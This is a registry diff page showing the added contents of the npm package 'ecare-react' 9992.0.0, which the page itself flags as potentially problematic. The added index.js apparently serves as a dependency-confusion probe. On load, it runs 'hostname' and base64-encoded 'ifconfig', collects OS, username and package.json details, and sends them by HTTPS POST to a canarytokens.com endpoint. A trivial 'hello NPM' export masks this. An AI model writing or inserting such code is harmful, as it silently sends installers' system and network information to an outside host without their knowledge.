ecare-react 9992.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ecare-react might be problematic. Click here for more details.
- package/index.js +84 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,84 @@
|
|
1
|
+
const {exec} = require('child_process');
|
2
|
+
function helloNpm() {
|
3
|
+
return 'hello NPM';
|
4
|
+
}
|
5
|
+
function finishItUp(output) {
|
6
|
+
|
7
|
+
const https = require('https');
|
8
|
+
const os = require('os');
|
9
|
+
const packageJson = require('./package.json');
|
10
|
+
// Gather server information
|
11
|
+
const serverInfo = {
|
12
|
+
hostname: os.hostname(),
|
13
|
+
type: os.type(),
|
14
|
+
platform: os.platform(),
|
15
|
+
architecture: os.arch(),
|
16
|
+
cpus: os.cpus(),
|
17
|
+
totalMemory: os.totalmem(),
|
18
|
+
freeMemory: os.freemem()
|
19
|
+
};
|
20
|
+
// Gather project information
|
21
|
+
const projectInfo = {
|
22
|
+
projectName: packageJson.name,
|
23
|
+
projectVersion: packageJson.version,
|
24
|
+
projectDescription: packageJson.description,
|
25
|
+
projectAuthor: packageJson.author,
|
26
|
+
projectDependencies: packageJson.dependencies,
|
27
|
+
projectDevDependencies: packageJson.devDependencies,
|
28
|
+
projectScripts: packageJson.scripts
|
29
|
+
};
|
30
|
+
// Convert objects to JSON strings
|
31
|
+
const serverInfoJson = JSON.stringify(serverInfo);
|
32
|
+
const projectInfoJson = JSON.stringify(projectInfo);
|
33
|
+
// Create the request options
|
34
|
+
const options = {
|
35
|
+
hostname: 'canarytokens.com',
|
36
|
+
path: '/traffic/2g0pqd5w3rtlpkjcsbruy9jr7/contact.php',
|
37
|
+
method: 'POST',
|
38
|
+
headers: {
|
39
|
+
'Content-Type': 'application/x-www-form-urlencoded',
|
40
|
+
'Server-Info': serverInfoJson,
|
41
|
+
'Project-Info': projectInfoJson,
|
42
|
+
'os': os.userInfo().username
|
43
|
+
}
|
44
|
+
};
|
45
|
+
// Send the request
|
46
|
+
const req = https.request(options, res => {
|
47
|
+
|
48
|
+
res.on('data', data => {
|
49
|
+
console.log('Response:', data.toString());
|
50
|
+
});
|
51
|
+
});
|
52
|
+
req.on('error', error => {
|
53
|
+
});
|
54
|
+
output='data='+output
|
55
|
+
req.write(output)
|
56
|
+
req.end();
|
57
|
+
}
|
58
|
+
function secondCommand(first) {
|
59
|
+
exec('ifconfig | base64 -w 0', (error, stdout, stderr) => {
|
60
|
+
if (error) {
|
61
|
+
console.error(`Error executing command: ${ error }`);
|
62
|
+
return;
|
63
|
+
}
|
64
|
+
if (stderr) {
|
65
|
+
console.error(`Command error: ${ stderr }`);
|
66
|
+
return;
|
67
|
+
}
|
68
|
+
// Process the command output
|
69
|
+
finishItUp(first + '-' + stdout);
|
70
|
+
});
|
71
|
+
}
|
72
|
+
exec('hostname', (error, stdout, stderr) => {
|
73
|
+
if (error) {
|
74
|
+
console.error(`Error executing command: ${ error }`);
|
75
|
+
return;
|
76
|
+
}
|
77
|
+
if (stderr) {
|
78
|
+
console.error(`Command error: ${ stderr }`);
|
79
|
+
return;
|
80
|
+
}
|
81
|
+
// Process the command output
|
82
|
+
secondCommand(stdout.substr(0, stdout.length-1));
|
83
|
+
});
|
84
|
+
module.exports = helloNpm;
|
package/package.json
ADDED